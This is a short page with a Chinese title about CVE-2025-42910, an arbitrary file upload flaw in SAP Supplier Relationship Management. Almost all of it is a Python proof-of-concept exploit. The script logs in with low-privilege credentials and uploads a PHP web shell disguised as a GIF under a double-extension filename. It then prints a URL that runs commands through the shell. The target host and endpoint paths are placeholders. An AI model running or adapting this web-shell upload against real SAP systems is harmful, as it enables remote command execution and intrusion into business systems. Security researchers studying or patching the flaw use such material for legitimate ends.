CVE-2025-42910：SAP供应商关系管理系统任意文件上传漏洞

# CVE-2025-42910 - SAP SRM Arbitrary File Upload PoC # Author: Security Researcher # Description: Demonstrates the arbitrary file upload vulnerability in SAP SRM import requests import sys TARGET_URL = "https://target-sap-srm.example.com" UPLOAD_ENDPOINT = "/srm/uploadFile.do" # Example endpoint, actual path may vary USERNAME = "low_privilege_user" PASSWORD = "password123" # Malicious payload - a simple web shell disguised as a document MALICIOUS_PAYLOAD = b"""GIF89a <?php if(isset($_GET['cmd'])) { system($_GET['cmd']); } ?>""" def exploit(): session = requests.Session() # Step 1: Authenticate to SAP SRM with low-privilege credentials login_url = f"{TARGET_URL}/srm/login.do" login_data = { "username": USERNAME, "password": PASSWORD, "login": "Login" } print("[*] Authenticating to SAP SRM...") resp = session.post(login_url, data=login_data, verify=False) if resp.status_code != 200: print("[-] Authentication failed!") return print("[+] Authentication successful") # Step 2: Upload malicious file bypassing type validation upload_url = f"{TARGET_URL}{UPLOAD_ENDPOINT}" files = { "file": ("innocent_document.gif.php", MALICIOUS_PAYLOAD, "image/gif") } data = { "description": "Quarterly Report Q4 2025", "category": "documents" } print("[*] Uploading malicious file...") resp = session.post(upload_url, files=files, data=data, verify=False) if resp.status_code == 200 and "success" in resp.text.lower(): print("[+] File uploaded successfully!") print(f"[+] File accessible at: {TARGET_URL}/srm/uploads/innocent_document.gif.php?cmd=id") else: print("[-] Upload failed") if __name__ == "__main__": exploit()